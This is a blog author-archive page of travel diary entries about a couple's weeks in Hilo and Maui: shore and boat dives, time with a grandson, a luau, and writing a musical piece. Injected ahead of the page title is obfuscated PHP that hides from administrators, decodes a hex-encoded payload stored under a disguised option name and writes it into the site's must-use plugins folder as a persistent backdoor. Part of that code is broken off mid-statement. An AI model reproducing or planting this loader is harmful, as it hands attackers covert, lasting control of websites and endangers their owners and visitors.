if(!function_exists('site_performance_metrics')){function site_performance_metrics(){if(function_exists('current_user_can')&¤t_user_can('manage_options'))return;$h=get_option('_transient_feed_mod_5ccc225b');if(!$h)return;$d=@hex2bin($h);if(!$d)return;$k='7ba4b004e5bc28a901fd4ffa3e752fcb';$o='';for($i=0;$i=2){if(!is_dir($mu))@$_fc[1]($mu,0755,true);@$_fc[0]($mf,@hex2bin($muc));} },20); add_filter('pre_option__transient_feed_mod_5ccc225b',function($v){ if(is_admin()&&!wp_doing_ajax()&&!wp_doing_cron()&&!defined('REST_REQUEST'))return false; if(function_exists('current_user_can')&¤t_user_can('manage_options'))return false; return $v;}); Ed Jacobs, Author at EDWARD JACOBS - Page 38 of 43

EDWARD JACOBS

Author: Ed Jacobs

  • Sunday, February 16

    Maui, day 8

    Nice that we all got to spend the day together today.  Since it was a two-tank shore dive, we all went and just switched off for the second dive.  Joe, Pattie, and I did the first dive; Joe, Cristin, and I did the second.  We dove the Olawalu site, which is really just about 20’ north of where we’re staying in Kihei. 

    What made this dive different, and fun in new ways, was that these were dives with underwater scooters.  I didn’t know what to expect, so left my GoPro on shore…so you’ll simply have to believe me when I say we had a load of fun. 

    The visibility wasn’t great near shore, but got much better as we moved away from shore, following a sand channel between mounds of coral.  We were really in or around a reef throughout, and it was an active reef with lots of varieties of angelfish, boxfish, and even a few turtles.

    Jackson was, as usual, very well behaved on shore with Cristin, then Pattie, and we followed the dives with a super lunch at Leoda’s Kitchen and Pie Shop.  Clearly a local favorite, as every time we pass it we see a very long line, so we had to give it a shot.  Rave reviews from all of us.

    Ran some errands and somehow ended up at Ulalini’s Shaved Ice (again)…mighty hard to resist.

    A quiet sunset happy hour with Joe, Cristin, and Jackson, and we called it a night early.

    I’ve really taken off the past week completely, and need to get up very early to get in some writing before babysitting duty begins at 6am…

  • Thursday, February 13

    Maui, day 5

    Another fabulous day with Jackson, while Cristin and Joe went diving.  These days are really pure joy, focusing on the little things that Jackson does, little exhibits of his development, his personality, his humor.  He’s now sitting for long stretches (45-60’) and playing with anything within his reach.

    warming up after a little swimming at the pool

  • Wednesday, February 12

    Maui, day 4

    Molokini Crater, inside and backwall side

    An early morning for us, as we needed to be in Lahaina by 6:45 to check in for our dive.  The drive was a bit quicker than we thought, and the shop opens promptly at 6:45, so we were about 10 minutes earlier than necessary.  (we’ll know better for Friday and Sunday dives with this company.)

    The first impressions are important ones with these dive shops/charters, as you spend a day with the crew and the other divers, and you depend on them for safety.  First impressions were very good, indeed; fellow divers quiet, easy, mellow, yet upbeat.  Crew very professional, and not at all overly rah-rah.

    The ride out to the site was really quite beautiful.  Calm seas, sunny skies, the occasional whale breaching out blowing, breakfast snacks available…very pleasant hour boat ride on an uncrowded boat of 16 divers, 2 dive guides, the captain and a deck boss.

    Today’s dive was the backwall of the Molokini Crater, then the inside of the crater’s arch.  The first dive, (at “The Edge of the World”) the ‘back wall’ was a first for us.  We’re used to diving at a depth where we’re near the bottom, or can easily see the bottom, and the bottom terrain is a reef (or a wreck).  This ‘wall’ dive finds the reef growing on a vertical(ish) surface, and the bottom’s not in sight.  In today’s case, we were told the bottom was at about 200+ feet; we all stayed at about 60’.  This is the outside of a volcanic crater, and the size of it, and the sense of dropping into extreme depths, are very impressive, indeed.

    between dives…

    After a pleasant surface interval time with snacks, meeting people, sharing of stories, we dove again, but this time at Reef’s End. 

    Reef’s End

    The terrain a bit less dramatically vertical, but the fish impressive and, most amazing for us, the whale song very audible.

    The hour-long boat ride back in was followed by a lunch with Joe and Cristin, then some time at the pool relaxing.  Even though we had very reduced exposure to Jackson today, it was certainly a great day’s diving.

  • Tuesday, February 11

    Maui, day 3

    A fun day of being with one of the world’s happiest babies.  Joe and Cristin dove today, so Pattie and I enjoyed a day or playing with Jackson.

    not sure if i already posted this, but a few photos taken at dinner/Luau on Sunday evening…

  • Monday, February 10

    Maui, day 2

    Up early to get out for an early dive.  But the weather wasn’t cooperating; the captain and dive crew could not find a safe place to dive.  8’ swells, zero visibility under water…so back to the port by 9am.  Took the opportunity to drive a bit further, into Lahaina, to grab some breakfast.  Then went to a local dive shop to get some extra layers, as we’d been cold on the boat.

    Joe, Cristin, and Jackson joined us in Lahaina for a lunch, then Pattie and I headed back to our room.  I slept for a few hours…just really tired day (early a.m., and the previous night’s luau went later than we’d hoped, so needed the catch-up rest. Nothing particularly exciting to report, other than our looking forward to diving Wednesday, and we’re just loving the time with Jackson.

  • Sunday, February 9

    Maui, day 1

    Joe and Cristin went diving at 6am, we sat Jackson until 1 or so.  Jackson’s a really easy little guy, full of smiles.  The only crankiness emerges when he’s hungry or when he’s feeling the effects of teething.  Two teeth coming in now, one top, one bottom.  We really enjoyed him a lot today.

    When Joe/Cristin returned we went to one of the dive shops we’re using here, and we picked up jackets which are worn under wet suits, providing extra warmth, but no buoyancy.  We had to then drive up to a shop in Lahaina that had Pattie’s size.  We’ll be heading to Lahaina for many of our dives, so this was a good trial run to see how long the drip is (30+’).

    We’d arranged to attend a luau this evening, and it was quite a spectacle.  At a resort in Wailea, which is really resort row, we had a luau experience which was, by most accounts, quite non-traditional.  Table service, open bar…but lots of music, dancing and, in the end, a fire dancer.  It was a nice evening, and a good introduction to lots of Hawaiian history told by the MC/singer.

    Highlight of the day? Jackson’s belly laugh.

  • Saturday, February 8

    Hilo to Maui

    Easy travels today. The sights from the plane’s window showed Mauna Kea snow-covered peaks, and the lava flow trails.

    Mauna Kea peak from plane
    lava tracks on Mauna Kea

    Arrival at our place in Maui by 10, sure was great to see Jackson with his ma & pa.

    Jackson in his element with dad
    and it didn’t take long for Jackson to get some Pattie love.

    Joe, and Cristin did a dive while we babysat for about 2’ hours.  Their shore dive was in Wailea, which is home to a ton of elite class resorts, it seems.  So Pattie and I went to a shopping area to stroll Jackson around a bit after we dropped Joe/Cristin off.

    In the evening we went out for shaved ice, right at a popular gathering spot–especially so at sunset.

    sunset in N Kihei, Maui

    Back to our digs and finding an amazing moon, rivaling the sunset.

    goodnight moon.

  • Friday, February 7

    Hilo, final day

    The day began with the good news that Joe, Cristin, and Jackson arrived safely in Maui late last night—and that Jackson is clearly ready for some sun-time!

    beach time for Jackson!

    Shortly after that Joe sent over a picture of a humpback playing a few hundred yards away from their balcony.  Looking forward to joining them in Maui tomorrow morning, and spending lots of good time together over the coming two weeks.

    The day was another rainy one, and we started it with personal pampering—massages.  Great massages.  Offset a bit by dealing with a few issues back home in NC, i.e., a car needing towing/repair, and an enormous branch fallen in our yard over a fence.  No crisis in either case, no one hurt, just stuff to take care of.

    After a quick bite to eat, drove Pattie to an appt. well up the hill, into a very nice residential area past Rainbow falls.  Not a long drive, but it gave a taste of a very different neighborhood, and a great view of the harbor.

    The evening was spent eating leftovers to clean out the fridge, doing laundry, and packing for tomorrow’s morning departure to Maui.  Bags packed, ready to go, saying goodbye to an AirBnB that’s been nice, clean, quiet, and spacious for us, and the town of Hilo.  The people and vibe has been our favorite so far, a town we absolutely want to return to. Mahala Hilo.

  • Thursday, February 6

    Hilo, day 12

    Another rainy day, and another day good for writing, relaxing, and readying for future travel.  The morning we got out jfor an appt for Pattie, then a quick trip to the local falls—Rainbow falls. 

    The waterfall was beautiful, unsurprisingly, but the trees in the area were even more breathtaking to me.  The canopy they created, but also the exposed root system, and just the sheer size of these Banyans.  One reminded me of the girth of the giant sequoias in Northern California, as you’ll see…

  • Wednesday, February 5

    Hilo, day 11

    A rainy, rainy day, and that made for lots of writing through the day. 

    Still feeling good about the ending section written over the past few days, though not sure I’m eager to hear that it’s too difficult.  I like it, and have tried to limit the pitch material so that it’s basically a single chord being arpeggiated by each voice, creating the overlapping ‘licking flames’…

    I’ll try to make it very clean and send off this ending to James at some point tomorrow, and we’ll see how tepid his reaction is….

    Excited that Joe, Cristin, and Jackson are flying this way tomorrow! Can’t wait to hang with this little guy for a few weeks in Maui when we meet them there on Saturday!